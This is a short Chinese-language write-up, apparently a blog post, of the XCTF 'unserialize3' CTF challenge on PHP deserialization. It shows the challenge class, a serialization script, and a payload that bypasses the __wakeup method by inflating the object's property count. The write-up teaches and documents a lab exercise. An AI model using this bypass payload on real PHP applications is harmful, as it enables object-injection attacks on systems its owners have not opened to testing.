攻防世界-web:unserialize3
阿新 • • 發佈:2021-10-17
題目描述
暫無
題目截圖
根據題目名稱,應該就是php反序列化。
解題思路
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
根據程式碼,猜測code的引數即提交反序列化字串。
我們發現xctf類存在__wakeup函式,而wakeup函式是反序列化後,第一個執行的函式。
我們還發現__wakeup函式中直接die了,後續程式碼就不會繼續執行。
所以猜測此題的思路就是繞過wakeup函式繼續執行,得到flag。
序列化程式碼如下:
<?php class xctf { public $flag = '111'; } echo((serialize(new xctf())));
執行輸出結果:
繞過wakeup函式也很簡單,就是在類物件屬性個數超過實際個數時就會繞過wakeup函式。
例如當前xctf類物件只有1個引數屬性$flag,序列化結果為:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
如果將xctf物件個數改成比1大的數,就會繞過wakeup。
修改後的結果:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}